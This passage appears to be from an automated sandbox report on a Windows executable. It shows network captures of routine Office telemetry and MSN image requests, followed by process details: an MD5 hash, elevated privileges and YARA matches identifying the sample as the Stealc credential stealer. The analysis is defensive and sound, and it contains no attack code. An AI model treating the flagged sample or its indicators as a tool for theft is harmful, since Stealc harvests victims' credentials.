65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	58866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 31c5e564-101e-008d-76d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f7845968n2hr8hC1EWR9cag000000053g00000000bzbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	58872	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:32 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=79395 Expires: Tue, 12 Nov 2024 19:02:46 GMT Date: Mon, 11 Nov 2024 20:59:31 GMT Connection: close
2024-11-11 20:59:32 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	58875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ca9795ec-a01e-006f-27d5-3313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968frfdmhC1EWRxxbw00000005k0000000007fea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	58874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2f59fc8c-901e-002a-3cd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968cdxdrhC1EWRg0en00000005f0000000007x12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	58877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: a04d8451-d01e-00ad-12d5-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968j9dchhC1EWRfe7400000005c0000000005k3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	58876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: ab1019be-501e-0035-43d5-33c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f78459684bddphC1EWRbht4000000054000000000nvmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	58873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 904e9adf-b01e-003e-62d5-338e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968l4kp6hC1EWRe88400000005u0000000002846 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	58879	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:32 UTC	550	IN	HTTP/1.1 200 OK Last-Modified: Sat, 02 Nov 2024 22:24:39 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 64ca815b-4731-4bca-814e-455eb8df8a00 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=48313 Expires: Tue, 12 Nov 2024 10:24:45 GMT Date: Mon, 11 Nov 2024 20:59:32 GMT Connection: close
2024-11-11 20:59:32 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	58881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dc8e8528-f01e-0085-10d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f78459684bddphC1EWRbht4000000054000000000nvnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	58880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 41743bdd-f01e-003c-7cd5-338cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968ljs8phC1EWRe6en000000058g00000000gtdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	58882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f458887-c01e-008e-47d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205932Z-174f7845968t42glhC1EWRa36w0000000590000000002t1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Target ID:	0
Start time:	15:58:56
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdb0000
File size:	1'793'024 bytes
MD5 hash:	00A808A58290C0723FEF814DFDEFC856
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2396751118.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2055599639.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

